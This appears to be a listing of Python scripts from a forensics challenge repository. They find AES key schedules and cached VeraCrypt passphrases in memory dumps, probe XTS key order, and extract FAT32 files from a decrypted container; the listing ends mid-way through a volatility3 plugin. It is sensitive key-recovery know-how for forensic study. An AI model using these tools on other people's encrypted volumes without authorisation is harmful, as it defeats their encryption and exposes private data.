|
||||
if root_clus < 2:
|
||||
raise ValueError("Invalid root cluster")
|
||||
|
||||
return Fat32BPB(
|
||||
bytes_per_sector=bps,
|
||||
sectors_per_cluster=spc,
|
||||
reserved_sectors=rsvd,
|
||||
num_fats=nfats,
|
||||
total_sectors=tot,
|
||||
fat_size_sectors=fatsz32,
|
||||
root_cluster=root_clus,
|
||||
)
|
||||
|
||||
|
||||
def sanitize_name(s: str) -> str:
|
||||
# Minimal cross-platform path sanitization.
|
||||
s = s.replace("\\", "_").replace("/", "_").replace(":", "_")
|
||||
s = s.strip().strip(".")
|
||||
return s or "_"
|
||||
|
||||
|
||||
def parse_short_name(ent: bytes) -> str:
|
||||
name = ent[0:8].decode("ascii", errors="ignore").rstrip(" ")
|
||||
ext = ent[8:11].decode("ascii", errors="ignore").rstrip(" ")
|
||||
if not ext:
|
||||
return name
|
||||
return f"{name}.{ext}"
|
||||
|
||||
|
||||
def parse_lfn_part(ent: bytes) -> str:
|
||||
# LFN is UTF-16LE in three chunks
|
||||
raw = ent[1:11] + ent[14:26] + ent[28:32]
|
||||
out_chars: List[str] = []
|
||||
for i in range(0, len(raw), 2):
|
||||
(ch,) = struct.unpack_from("<H", raw, i)
|
||||
if ch in (0x0000, 0xFFFF):
|
||||
continue
|
||||
out_chars.append(chr(ch))
|
||||
return "".join(out_chars)
|
||||
|
||||
|
||||
@dataclass
|
||||
class DirEntry:
|
||||
name: str
|
||||
is_dir: bool
|
||||
cluster: int
|
||||
size: int
|
||||
|
||||
|
||||
class Fat32:
|
||||
def __init__(self, vol: VeraCryptFileVolume, bpb: Fat32BPB):
|
||||
self.vol = vol
|
||||
self.bpb = bpb
|
||||
self._fat_sector_cache: Dict[int, bytes] = {}
|
||||
|
||||
def vol_sector_for_cluster(self, cluster: int) -> int:
|
||||
return self.bpb.first_data_sector + (cluster - 2) * self.bpb.sectors_per_cluster
|
||||
|
||||
def read_fat_sector(self, fat_sector_index: int) -> bytes:
|
||||
if fat_sector_index not in self._fat_sector_cache:
|
||||
self._fat_sector_cache[fat_sector_index] = self.vol.read_sector(
|
||||
self.bpb.first_fat_sector + fat_sector_index
|
||||
)
|
||||
return self._fat_sector_cache[fat_sector_index]
|
||||
|
||||
def fat_entry(self, cluster: int) -> int:
|
||||
# FAT32 entry is 4 bytes, lower 28 bits used
|
||||
off = cluster * 4
|
||||
sector_index = off // SECTOR_SIZE
|
||||
sector_off = off % SECTOR_SIZE
|
||||
sec = self.read_fat_sector(sector_index)
|
||||
(val,) = struct.unpack_from("<I", sec, sector_off)
|
||||
return val & 0x0FFFFFFF
|
||||
|
||||
def iter_cluster_chain(self, start_cluster: int, *, max_steps: int = 200000) -> Iterator[int]:
|
||||
cl = start_cluster
|
||||
steps = 0
|
||||
while 2 <= cl < 0x0FFFFFF8:
|
||||
yield cl
|
||||
nxt = self.fat_entry(cl)
|
||||
if nxt == cl:
|
||||
break
|
||||
cl = nxt
|
||||
steps += 1
|
||||
if steps > max_steps:
|
||||
raise RuntimeError("cluster chain too long (loop?)")
|
||||
|
||||
def read_cluster(self, cluster: int) -> bytes:
|
||||
vsec0 = self.vol_sector_for_cluster(cluster)
|
||||
buf = bytearray()
|
||||
for i in range(self.bpb.sectors_per_cluster):
|
||||
buf += self.vol.read_sector(vsec0 + i)
|
||||
return bytes(buf)
|
||||
|
||||
def read_chain_data(self, start_cluster: int, size: int) -> bytes:
|
||||
buf = bytearray()
|
||||
for cl in self.iter_cluster_chain(start_cluster):
|
||||
buf += self.read_cluster(cl)
|
||||
if len(buf) >= size:
|
||||
break
|
||||
return bytes(buf[:size])
|
||||
|
||||
def read_directory(self, start_cluster: int) -> List[DirEntry]:
|
||||
entries: List[DirEntry] = []
|
||||
lfn_parts: List[str] = []
|
||||
|
||||
for cl in self.iter_cluster_chain(start_cluster):
|
||||
data = self.read_cluster(cl)
|
||||
for off in range(0, len(data), 32):
|
||||
ent = data[off : off + 32]
|
||||
first = ent[0]
|
||||
if first == 0x00:
|
||||
return entries
|
||||
if first == 0xE5:
|
||||
lfn_parts.clear()
|
||||
continue
|
||||
|
||||
attr = ent[11]
|
||||
if attr == 0x0F:
|
||||
lfn_parts.append(parse_lfn_part(ent))
|
||||
continue
|
||||
|
||||
name = ""
|
||||
if lfn_parts:
|
||||
name = "".join(reversed(lfn_parts))
|
||||
lfn_parts.clear()
|
||||
else:
|
||||
name = parse_short_name(ent)
|
||||
|
||||
# Skip volume labels
|
||||
if attr & 0x08:
|
||||
continue
|
||||
# Skip "." and ".."
|
||||
if name in (".", ".."):
|
||||
continue
|
||||
|
||||
is_dir = bool(attr & 0x10)
|
||||
hi = struct.unpack_from("<H", ent, 20)[0]
|
||||
lo = struct.unpack_from("<H", ent, 26)[0]
|
||||
first_cluster = (hi << 16) | lo
|
||||
size = struct.unpack_from("<I", ent, 28)[0]
|
||||
|
||||
entries.append(
|
||||
DirEntry(
|
||||
name=name,
|
||||
is_dir=is_dir,
|
||||
cluster=first_cluster,
|
||||
size=size,
|
||||
)
|
||||
)
|
||||
|
||||
return entries
|
||||
|
||||
|
||||
def walk_and_extract(
|
||||
fs: Fat32,
|
||||
start_cluster: int,
|
||||
out_dir: Path,
|
||||
rel_path: str = "",
|
||||
*,
|
||||
max_files: int = 5000,
|
||||
) -> List[Path]:
|
||||
extracted: List[Path] = []
|
||||
stack: List[Tuple[int, str]] = [(start_cluster, rel_path)]
|
||||
seen_dirs: set[Tuple[int, str]] = set()
|
||||
|
||||
while stack:
|
||||
cl, rpath = stack.pop()
|
||||
key = (cl, rpath)
|
||||
if key in seen_dirs:
|
||||
continue
|
||||
seen_dirs.add(key)
|
||||
|
||||
for ent in fs.read_directory(cl):
|
||||
name = sanitize_name(ent.name)
|
||||
child_rel = os.path.join(rpath, name) if rpath else name
|
||||
out_path = out_dir / child_rel
|
||||
|
||||
if ent.is_dir:
|
||||
if ent.cluster >= 2:
|
||||
stack.append((ent.cluster, child_rel))
|
||||
continue
|
||||
|
||||
if ent.cluster < 2:
|
||||
continue
|
||||
out_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
data = fs.read_chain_data(ent.cluster, ent.size)
|
||||
out_path.write_bytes(data)
|
||||
extracted.append(out_path)
|
||||
if len(extracted) >= max_files:
|
||||
return extracted
|
||||
|
||||
return extracted
|
||||
|
||||
|
||||
def main() -> int:
|
||||
ap = argparse.ArgumentParser(description="Extract FAT32 files from a VeraCrypt container using recovered XTS keys")
|
||||
ap.add_argument("container", type=Path)
|
||||
ap.add_argument("--key-a", required=True, help="32-byte hex key A (data key)")
|
||||
ap.add_argument("--key-b", required=True, help="32-byte hex key B (tweak key)")
|
||||
ap.add_argument("--data-offset", default="0x20000", help="Start of encrypted volume area (default: 0x20000)")
|
||||
ap.add_argument(
|
||||
"--out-dir",
|
||||
type=Path,
|
||||
default=Path("out") / "vc_extracted",
|
||||
help="Output directory (default: out/vc_extracted)",
|
||||
)
|
||||
args = ap.parse_args()
|
||||
|
||||
key_a = bytes.fromhex(args.key_a)
|
||||
key_b = bytes.fromhex(args.key_b)
|
||||
if len(key_a) != 32 or len(key_b) != 32:
|
||||
raise SystemExit("Keys must be 32 bytes each")
|
||||
|
||||
data_offset = int(str(args.data_offset), 0)
|
||||
xts_key = key_a + key_b
|
||||
|
||||
args.out_dir.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
vol = VeraCryptFileVolume(args.container, xts_key, data_offset)
|
||||
try:
|
||||
boot = vol.read_sector(0) # volume sector 0 maps to file sector base_file_sector
|
||||
bpb = parse_fat32_bpb(boot)
|
||||
print(
|
||||
f"[i] FAT32: total_sectors={bpb.total_sectors} spc={bpb.sectors_per_cluster} "
|
||||
f"reserved={bpb.reserved_sectors} fats={bpb.num_fats} fatsz={bpb.fat_size_sectors} root={bpb.root_cluster}"
|
||||
)
|
||||
|
||||
fs = Fat32(vol, bpb)
|
||||
extracted = walk_and_extract(fs, bpb.root_cluster, args.out_dir)
|
||||
print(f"[i] Extracted {len(extracted)} files into {args.out_dir}")
|
||||
return 0
|
||||
finally:
|
||||
vol.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
|
||||
459
HumanAI-Forensic-Hard/scripts/find_aes_keys_in_dumps.py
Normal file
@@ -0,0 +1,459 @@
|
||||
import argparse
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import Iterable, Iterator, List, Optional, Sequence, Set, Tuple
|
||||
|
||||
|
||||
SBOX = [
|
||||
0x63,
|
||||
0x7C,
|
||||
0x77,
|
||||
0x7B,
|
||||
0xF2,
|
||||
0x6B,
|
||||
0x6F,
|
||||
0xC5,
|
||||
0x30,
|
||||
0x01,
|
||||
0x67,
|
||||
0x2B,
|
||||
0xFE,
|
||||
0xD7,
|
||||
0xAB,
|
||||
0x76,
|
||||
0xCA,
|
||||
0x82,
|
||||
0xC9,
|
||||
0x7D,
|
||||
0xFA,
|
||||
0x59,
|
||||
0x47,
|
||||
0xF0,
|
||||
0xAD,
|
||||
0xD4,
|
||||
0xA2,
|
||||
0xAF,
|
||||
0x9C,
|
||||
0xA4,
|
||||
0x72,
|
||||
0xC0,
|
||||
0xB7,
|
||||
0xFD,
|
||||
0x93,
|
||||
0x26,
|
||||
0x36,
|
||||
0x3F,
|
||||
0xF7,
|
||||
0xCC,
|
||||
0x34,
|
||||
0xA5,
|
||||
0xE5,
|
||||
0xF1,
|
||||
0x71,
|
||||
0xD8,
|
||||
0x31,
|
||||
0x15,
|
||||
0x04,
|
||||
0xC7,
|
||||
0x23,
|
||||
0xC3,
|
||||
0x18,
|
||||
0x96,
|
||||
0x05,
|
||||
0x9A,
|
||||
0x07,
|
||||
0x12,
|
||||
0x80,
|
||||
0xE2,
|
||||
0xEB,
|
||||
0x27,
|
||||
0xB2,
|
||||
0x75,
|
||||
0x09,
|
||||
0x83,
|
||||
0x2C,
|
||||
0x1A,
|
||||
0x1B,
|
||||
0x6E,
|
||||
0x5A,
|
||||
0xA0,
|
||||
0x52,
|
||||
0x3B,
|
||||
0xD6,
|
||||
0xB3,
|
||||
0x29,
|
||||
0xE3,
|
||||
0x2F,
|
||||
0x84,
|
||||
0x53,
|
||||
0xD1,
|
||||
0x00,
|
||||
0xED,
|
||||
0x20,
|
||||
0xFC,
|
||||
0xB1,
|
||||
0x5B,
|
||||
0x6A,
|
||||
0xCB,
|
||||
0xBE,
|
||||
0x39,
|
||||
0x4A,
|
||||
0x4C,
|
||||
0x58,
|
||||
0xCF,
|
||||
0xD0,
|
||||
0xEF,
|
||||
0xAA,
|
||||
0xFB,
|
||||
0x43,
|
||||
0x4D,
|
||||
0x33,
|
||||
0x85,
|
||||
0x45,
|
||||
0xF9,
|
||||
0x02,
|
||||
0x7F,
|
||||
0x50,
|
||||
0x3C,
|
||||
0x9F,
|
||||
0xA8,
|
||||
0x51,
|
||||
0xA3,
|
||||
0x40,
|
||||
0x8F,
|
||||
0x92,
|
||||
0x9D,
|
||||
0x38,
|
||||
0xF5,
|
||||
0xBC,
|
||||
0xB6,
|
||||
0xDA,
|
||||
0x21,
|
||||
0x10,
|
||||
0xFF,
|
||||
0xF3,
|
||||
0xD2,
|
||||
0xCD,
|
||||
0x0C,
|
||||
0x13,
|
||||
0xEC,
|
||||
0x5F,
|
||||
0x97,
|
||||
0x44,
|
||||
0x17,
|
||||
0xC4,
|
||||
0xA7,
|
||||
0x7E,
|
||||
0x3D,
|
||||
0x64,
|
||||
0x5D,
|
||||
0x19,
|
||||
0x73,
|
||||
0x60,
|
||||
0x81,
|
||||
0x4F,
|
||||
0xDC,
|
||||
0x22,
|
||||
0x2A,
|
||||
0x90,
|
||||
0x88,
|
||||
0x46,
|
||||
0xEE,
|
||||
0xB8,
|
||||
0x14,
|
||||
0xDE,
|
||||
0x5E,
|
||||
0x0B,
|
||||
0xDB,
|
||||
0xE0,
|
||||
0x32,
|
||||
0x3A,
|
||||
0x0A,
|
||||
0x49,
|
||||
0x06,
|
||||
0x24,
|
||||
0x5C,
|
||||
0xC2,
|
||||
0xD3,
|
||||
0xAC,
|
||||
0x62,
|
||||
0x91,
|
||||
0x95,
|
||||
0xE4,
|
||||
0x79,
|
||||
0xE7,
|
||||
0xC8,
|
||||
0x37,
|
||||
0x6D,
|
||||
0x8D,
|
||||
0xD5,
|
||||
0x4E,
|
||||
0xA9,
|
||||
0x6C,
|
||||
0x56,
|
||||
0xF4,
|
||||
0xEA,
|
||||
0x65,
|
||||
0x7A,
|
||||
0xAE,
|
||||
0x08,
|
||||
0xBA,
|
||||
0x78,
|
||||
0x25,
|
||||
0x2E,
|
||||
0x1C,
|
||||
0xA6,
|
||||
0xB4,
|
||||
0xC6,
|
||||
0xE8,
|
||||
0xDD,
|
||||
0x74,
|
||||
0x1F,
|
||||
0x4B,
|
||||
0xBD,
|
||||
0x8B,
|
||||
0x8A,
|
||||
0x70,
|
||||
0x3E,
|
||||
0xB5,
|
||||
0x66,
|
||||
0x48,
|
||||
0x03,
|
||||
0xF6,
|
||||
0x0E,
|
||||
0x61,
|
||||
0x35,
|
||||
0x57,
|
||||
0xB9,
|
||||
0x86,
|
||||
0xC1,
|
||||
0x1D,
|
||||
0x9E,
|
||||
0xE1,
|
||||
0xF8,
|
||||
0x98,
|
||||
0x11,
|
||||
0x69,
|
||||
0xD9,
|
||||
0x8E,
|
||||
0x94,
|
||||
0x9B,
|
||||
0x1E,
|
||||
0x87,
|
||||
0xE9,
|
||||
0xCE,
|
||||
0x55,
|
||||
0x28,
|
||||
0xDF,
|
||||
0x8C,
|
||||
0xA1,
|
||||
0x89,
|
||||
0x0D,
|
||||
0xBF,
|
||||
0xE6,
|
||||
0x42,
|
||||
0x68,
|
||||
0x41,
|
||||
0x99,
|
||||
0x2D,
|
||||
0x0F,
|
||||
0xB0,
|
||||
0x54,
|
||||
0xBB,
|
||||
0x16,
|
||||
]
|
||||
|
||||
|
||||
def rot_word_be(w: int) -> int:
|
||||
return ((w << 8) & 0xFFFFFFFF) | ((w >> 24) & 0xFF)
|
||||
|
||||
|
||||
def sub_word_be(w: int) -> int:
|
||||
return (
|
||||
(SBOX[(w >> 24) & 0xFF] << 24)
|
||||
| (SBOX[(w >> 16) & 0xFF] << 16)
|
||||
| (SBOX[(w >> 8) & 0xFF] << 8)
|
||||
| (SBOX[w & 0xFF])
|
||||
)
|
||||
|
||||
|
||||
def rot_word_le(w: int) -> int:
|
||||
b = w.to_bytes(4, "little")
|
||||
b = b[1:] + b[:1]
|
||||
return int.from_bytes(b, "little")
|
||||
|
||||
|
||||
def sub_word_le(w: int) -> int:
|
||||
b = w.to_bytes(4, "little")
|
||||
sb = bytes([SBOX[x] for x in b])
|
||||
return int.from_bytes(sb, "little")
|
||||
|
||||
|
||||
def xtime(x: int) -> int:
|
||||
x <<= 1
|
||||
if x & 0x100:
|
||||
x ^= 0x11B
|
||||
return x & 0xFF
|
||||
|
||||
|
||||
def rcon_word(i: int, *, endian: str) -> int:
|
||||
rc = 1
|
||||
for _ in range(1, i):
|
||||
rc = xtime(rc)
|
||||
if endian == "be":
|
||||
return rc << 24
|
||||
return rc
|
||||
|
||||
|
||||
def total_words_for_nk(nk: int) -> int:
|
||||
if nk == 4:
|
||||
nr = 10
|
||||
elif nk == 6:
|
||||
nr = 12
|
||||
elif nk == 8:
|
||||
nr = 14
|
||||
else:
|
||||
raise ValueError(f"Unsupported Nk={nk}")
|
||||
return 4 * (nr + 1)
|
||||
|
||||
|
||||
def expand_key(words0: Sequence[int], *, nk: int, endian: str) -> List[int]:
|
||||
tw = total_words_for_nk(nk)
|
||||
w = list(words0[:nk]) + [0] * (tw - nk)
|
||||
|
||||
if endian == "be":
|
||||
rot = rot_word_be
|
||||
sub = sub_word_be
|
||||
elif endian == "le":
|
||||
rot = rot_word_le
|
||||
sub = sub_word_le
|
||||
else:
|
||||
raise ValueError("endian must be 'be' or 'le'")
|
||||
|
||||
for i in range(nk, tw):
|
||||
temp = w[i - 1]
|
||||
if i % nk == 0:
|
||||
temp = sub(rot(temp)) ^ rcon_word(i // nk, endian=endian)
|
||||
elif nk > 6 and i % nk == 4:
|
||||
temp = sub(temp)
|
||||
w[i] = w[i - nk] ^ temp
|
||||
return w
|
||||
|
||||
|
||||
def schedule_matches(words: Sequence[int], *, nk: int, endian: str) -> bool:
|
||||
tw = total_words_for_nk(nk)
|
||||
if len(words) < tw:
|
||||
return False
|
||||
exp = expand_key(words, nk=nk, endian=endian)
|
||||
return all((words[i] & 0xFFFFFFFF) == exp[i] for i in range(tw))
|
||||
|
||||
|
||||
def iter_files(paths: Iterable[str]) -> Iterator[Path]:
|
||||
for p in paths:
|
||||
path = Path(p)
|
||||
if path.is_dir():
|
||||
for child in sorted(path.rglob("*")):
|
||||
if child.is_file():
|
||||
yield child
|
||||
elif path.is_file():
|
||||
yield path
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Hit:
|
||||
file: Path
|
||||
offset: int
|
||||
nk: int
|
||||
word_endian: str
|
||||
byte_endian: str
|
||||
key_bytes: bytes
|
||||
|
||||
|
||||
def scan_file(fp: Path, *, nk_list: Sequence[int]) -> List[Hit]:
|
||||
data = fp.read_bytes()
|
||||
hits: List[Hit] = []
|
||||
|
||||
for nk in nk_list:
|
||||
tw = total_words_for_nk(nk)
|
||||
nbytes = tw * 4
|
||||
if len(data) < nbytes:
|
||||
continue
|
||||
|
||||
for off in range(0, len(data) - nbytes + 1, 4):
|
||||
for word_endian in ("little", "big"):
|
||||
words = [
|
||||
int.from_bytes(
|
||||
data[off + 4 * i : off + 4 * i + 4], byteorder=word_endian
|
||||
)
|
||||
for i in range(tw)
|
||||
]
|
||||
|
||||
for byte_endian in ("be", "le"):
|
||||
if schedule_matches(words, nk=nk, endian=byte_endian):
|
||||
if byte_endian == "be":
|
||||
key = b"".join(w.to_bytes(4, "big") for w in words[:nk])
|
||||
else:
|
||||
key = b"".join(w.to_bytes(4, "little") for w in words[:nk])
|
||||
hits.append(
|
||||
Hit(
|
||||
file=fp,
|
||||
offset=off,
|
||||
nk=nk,
|
||||
word_endian=word_endian,
|
||||
byte_endian=byte_endian,
|
||||
key_bytes=key,
|
||||
)
|
||||
)
|
||||
|
||||
return hits
|
||||
|
||||
|
||||
def main() -> int:
|
||||
ap = argparse.ArgumentParser(description="Find AES key schedules in raw dumps")
|
||||
ap.add_argument("paths", nargs="+", help="Files and/or directories to scan")
|
||||
ap.add_argument("--nk", type=int, default=8, help="AES Nk words: 4=128-bit, 6=192-bit, 8=256-bit (default: 8)")
|
||||
ap.add_argument(
|
||||
"--also",
|
||||
type=str,
|
||||
default="",
|
||||
help="Comma-separated extra Nk values to scan (e.g. 4,6)",
|
||||
)
|
||||
args = ap.parse_args()
|
||||
|
||||
nk_list = [args.nk]
|
||||
if args.also:
|
||||
for part in args.also.split(","):
|
||||
part = part.strip()
|
||||
if not part:
|
||||
continue
|
||||
nk_list.append(int(part))
|
||||
nk_list = sorted(set(nk_list))
|
||||
|
||||
seen: Set[Tuple[int, str, bytes]] = set()
|
||||
total = 0
|
||||
|
||||
for fp in iter_files(args.paths):
|
||||
if fp.suffix.lower() not in (".dmp", ".bin", ".raw", ".mem", ""):
|
||||
continue
|
||||
try:
|
||||
hits = scan_file(fp, nk_list=nk_list)
|
||||
except Exception:
|
||||
continue
|
||||
for h in hits:
|
||||
k = (h.nk, h.word_endian, h.byte_endian, h.key_bytes)
|
||||
if k in seen:
|
||||
continue
|
||||
seen.add(k)
|
||||
total += 1
|
||||
print(
|
||||
f"{h.file}\t0x{h.offset:X}\tNk={h.nk}\tword={h.word_endian}\tbytes={h.byte_endian}\tkey={h.key_bytes.hex()}"
|
||||
)
|
||||
|
||||
if total == 0:
|
||||
print("[!] No AES key schedules found")
|
||||
return 2
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
99
HumanAI-Forensic-Hard/scripts/probe_vc_xts.py
Normal file
@@ -0,0 +1,99 @@
|
||||
import argparse
|
||||
from pathlib import Path
|
||||
from typing import Iterable, List, Tuple
|
||||
|
||||
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
|
||||
|
||||
|
||||
def decrypt_xts_sector(ct: bytes, xts_key: bytes, sector_no: int) -> bytes:
|
||||
tweak = int(sector_no).to_bytes(16, "little", signed=False)
|
||||
cipher = Cipher(algorithms.AES(xts_key), modes.XTS(tweak))
|
||||
dec = cipher.decryptor()
|
||||
return dec.update(ct) + dec.finalize()
|
||||
|
||||
|
||||
def looks_like_boot_sector(pt: bytes) -> List[str]:
|
||||
hits: List[str] = []
|
||||
if len(pt) < 512:
|
||||
return hits
|
||||
if pt[510:512] == b"\x55\xaa":
|
||||
hits.append("55aa")
|
||||
sig = pt[3:11]
|
||||
if sig == b"NTFS ":
|
||||
hits.append("NTFS")
|
||||
if sig == b"EXFAT ":
|
||||
hits.append("EXFAT")
|
||||
if sig.startswith(b"FAT"):
|
||||
hits.append(sig.decode("ascii", errors="ignore"))
|
||||
if pt[0] in (0xEB, 0xE9) and pt[2] == 0x90:
|
||||
hits.append("jmp")
|
||||
return hits
|
||||
|
||||
|
||||
def main() -> int:
|
||||
ap = argparse.ArgumentParser(description="Probe VeraCrypt container using AES-XTS keys")
|
||||
ap.add_argument("container", type=Path)
|
||||
ap.add_argument("--key-a", required=True, help="32-byte hex key A")
|
||||
ap.add_argument("--key-b", required=True, help="32-byte hex key B")
|
||||
ap.add_argument(
|
||||
"--offsets",
|
||||
default="0,0x10000,0x20000",
|
||||
help="Comma-separated file offsets to try (default: 0,0x10000,0x20000)",
|
||||
)
|
||||
ap.add_argument(
|
||||
"--tweak-bases",
|
||||
default="auto",
|
||||
help="Comma-separated sector numbers to try as tweak base, or 'auto' for 0 and offset/512",
|
||||
)
|
||||
args = ap.parse_args()
|
||||
|
||||
key_a = bytes.fromhex(args.key_a)
|
||||
key_b = bytes.fromhex(args.key_b)
|
||||
if len(key_a) != 32 or len(key_b) != 32:
|
||||
raise SystemExit("Keys must be 32 bytes each (64 hex chars)")
|
||||
|
||||
offsets: List[int] = []
|
||||
for part in args.offsets.split(","):
|
||||
part = part.strip()
|
||||
if not part:
|
||||
continue
|
||||
offsets.append(int(part, 0))
|
||||
|
||||
data = args.container.read_bytes()
|
||||
|
||||
key_orders: List[Tuple[str, bytes]] = [
|
||||
("A||B", key_a + key_b),
|
||||
("B||A", key_b + key_a),
|
||||
]
|
||||
|
||||
for off in offsets:
|
||||
if off + 512 > len(data):
|
||||
continue
|
||||
ct = data[off : off + 512]
|
||||
|
||||
if args.tweak_bases.strip().lower() == "auto":
|
||||
tweak_bases = sorted({0, off // 512})
|
||||
else:
|
||||
tweak_bases = []
|
||||
for part in args.tweak_bases.split(","):
|
||||
part = part.strip()
|
||||
if not part:
|
||||
continue
|
||||
tweak_bases.append(int(part, 0))
|
||||
|
||||
for base in tweak_bases:
|
||||
for label, xts_key in key_orders:
|
||||
pt = decrypt_xts_sector(ct, xts_key, base)
|
||||
hits = looks_like_boot_sector(pt)
|
||||
if hits:
|
||||
print(
|
||||
f"[+] offset=0x{off:X} tweak={base} order={label} hits={','.join(hits)} sig={pt[3:11]!r}"
|
||||
)
|
||||
print(pt[:64].hex())
|
||||
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
|
||||
101
HumanAI-Forensic-Hard/scripts/scan_vc_password_struct.py
Normal file
@@ -0,0 +1,101 @@
|
||||
import argparse
|
||||
import os
|
||||
import struct
|
||||
from pathlib import Path
|
||||
from typing import Iterable, Iterator, Tuple
|
||||
|
||||
|
||||
def iter_input_files(paths: Iterable[str]) -> Iterator[Path]:
|
||||
for p in paths:
|
||||
path = Path(p)
|
||||
if path.is_dir():
|
||||
for child in sorted(path.rglob("*")):
|
||||
if child.is_file():
|
||||
yield child
|
||||
elif path.is_file():
|
||||
yield path
|
||||
|
||||
|
||||
def scan_password_structs(
|
||||
data: bytes, *, min_len: int, max_len: int
|
||||
) -> Iterator[Tuple[int, int, str]]:
|
||||
"""
|
||||
Heuristic scan for the (TrueCrypt/VeraCrypt) Password struct:
|
||||
uint32 Length; char Text[...];
|
||||
|
||||
We look for:
|
||||
<len:uint32le> <len bytes printable ASCII> <any byte> 0x00 0x00 0x00
|
||||
|
||||
This mirrors volatility3's truecrypt passphrase finder which validates the
|
||||
3 bytes *after* the presumed NUL terminator but doesn't explicitly check
|
||||
the terminator byte itself.
|
||||
"""
|
||||
mv = memoryview(data)
|
||||
n = len(data)
|
||||
min_total = 4 + min_len + 4
|
||||
if n < min_total:
|
||||
return
|
||||
|
||||
|
||||
unpack_from = struct.unpack_from
|
||||
for i in range(0, n - min_total + 1):
|
||||
(length,) = unpack_from("<I", mv, i)
|
||||
if length < min_len or length > max_len:
|
||||
continue
|
||||
|
||||
start = i + 4
|
||||
end = start + length
|
||||
tail = end + 4
|
||||
if tail > n:
|
||||
continue
|
||||
|
||||
pw = mv[start:end]
|
||||
|
||||
if any((c < 0x20 or c >= 0x7F) for c in pw):
|
||||
continue
|
||||
|
||||
if data[end + 1 : tail] != b"\x00\x00\x00":
|
||||
continue
|
||||
|
||||
try:
|
||||
pw_str = pw.tobytes().decode("ascii")
|
||||
except UnicodeDecodeError:
|
||||
continue
|
||||
|
||||
yield i, length, pw_str
|
||||
|
||||
|
||||
def main() -> int:
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("paths", nargs="+", help="Files and/or directories to scan")
|
||||
ap.add_argument("--min-len", type=int, default=5)
|
||||
ap.add_argument("--max-len", type=int, default=64)
|
||||
args = ap.parse_args()
|
||||
|
||||
seen = set()
|
||||
hits = 0
|
||||
for fp in iter_input_files(args.paths):
|
||||
try:
|
||||
data = fp.read_bytes()
|
||||
except Exception as exc:
|
||||
print(f"[!] Failed to read {fp}: {exc}")
|
||||
continue
|
||||
|
||||
for off, length, pw in scan_password_structs(
|
||||
data, min_len=args.min_len, max_len=args.max_len
|
||||
):
|
||||
key = (pw,)
|
||||
if key in seen:
|
||||
continue
|
||||
seen.add(key)
|
||||
hits += 1
|
||||
print(f"{fp}\t0x{off:X}\t{length}\t{pw}")
|
||||
|
||||
if hits == 0:
|
||||
print("[!] No candidates found")
|
||||
return 2
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
185
HumanAI-Forensic-Hard/scripts/veracrypt.py
Normal file
@@ -0,0 +1,185 @@
|
||||
|
||||
import logging
|
||||
from typing import Generator, Iterable, List, Tuple
|
||||
|
||||
from volatility3.framework import constants, interfaces, objects, renderers
|
||||
from volatility3.framework.configuration import requirements
|
||||
from volatility3.framework.interfaces import configuration
|
||||
from volatility3.framework.objects.utility import array_to_string
|
||||
from volatility3.framework.renderers import format_hints
|
||||
from volatility3.framework.symbols import intermed
|
||||
from volatility3.framework.symbols.windows.extensions import pe
|
||||
from volatility3.plugins.windows import modules
|
||||
|
||||
vollog = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class Passphrase(interfaces.plugins.PluginInterface):
|
||||
"""VeraCrypt/TrueCrypt cached passphrase finder (driver .data scan)."""
|
||||
|
||||
_version = (0, 1, 0)
|
||||
_required_framework_version = (2, 5, 2)
|
||||
|
||||
@classmethod
|
||||
def get_requirements(cls) -> List[configuration.RequirementInterface]:
|
||||
return [
|
||||
requirements.ModuleRequirement(
|
||||
"kernel",
|
||||
description="Windows kernel",
|
||||
architectures=["Intel32", "Intel64"],
|
||||
),
|
||||
requirements.VersionRequirement(
|
||||
name="modules", component=modules.Modules, version=(3, 0, 0)
|
||||
),
|
||||
requirements.IntRequirement(
|
||||
name="min-length",
|
||||
description="Minimum length of passphrases to identify",
|
||||
default=5,
|
||||
optional=True,
|
||||
),
|
||||
requirements.StringRequirement(
|
||||
name="driver",
|
||||
description=(
|
||||
"Driver name substring to scan (case-insensitive), "
|
||||
"e.g. 'veracrypt', 'veracrypt-x64.sys', 'truecrypt.sys'"
|
||||
),
|
||||
default="veracrypt",
|
||||
optional=True,
|
||||
),
|
||||
]
|
||||
|
||||
def scan_module(
|
||||
self, module_base: int, layer_name: str
|
||||
) -> Generator[Tuple[int, str], None, None]:
|
||||
pe_table_name = intermed.IntermediateSymbolTable.create(
|
||||
self.context, self.config_path, "windows", "pe", class_types=pe.class_types
|
||||
)
|
||||
dos_header: pe.IMAGE_DOS_HEADER = self.context.object(
|
||||
pe_table_name + constants.BANG + "_IMAGE_DOS_HEADER",
|
||||
layer_name,
|
||||
module_base,
|
||||
)
|
||||
|
||||
data_section: objects.StructType = next(
|
||||
sec
|
||||
for sec in dos_header.get_nt_header().get_sections()
|
||||
if array_to_string(sec.Name) == ".data"
|
||||
)
|
||||
base: int = data_section.VirtualAddress + module_base
|
||||
size: int = data_section.Misc.VirtualSize
|
||||
|
||||
# Looking at `Length` in TrueCrypt/Common/Password.h::Password struct
|
||||
DWORD_SIZE_BYTES: int = 4
|
||||
fmt = objects.DataFormatInfo(
|
||||
length=DWORD_SIZE_BYTES, byteorder="little", signed=True
|
||||
)
|
||||
int32 = objects.templates.ObjectTemplate(
|
||||
objects.Integer, pe_table_name + constants.BANG + "int", data_format=fmt
|
||||
)
|
||||
count, not_aligned = divmod(size, DWORD_SIZE_BYTES)
|
||||
if not_aligned:
|
||||
raise ValueError("PE data section not DWORD-aligned!")
|
||||
|
||||
lengths = self.context.object(
|
||||
pe_table_name + constants.BANG + "array",
|
||||
layer_name,
|
||||
base,
|
||||
count=count,
|
||||
subtype=int32,
|
||||
)
|
||||
|
||||
min_length = self.config.get("min-length")
|
||||
for length in lengths:
|
||||
|
||||
if not min_length <= length <= 64:
|
||||
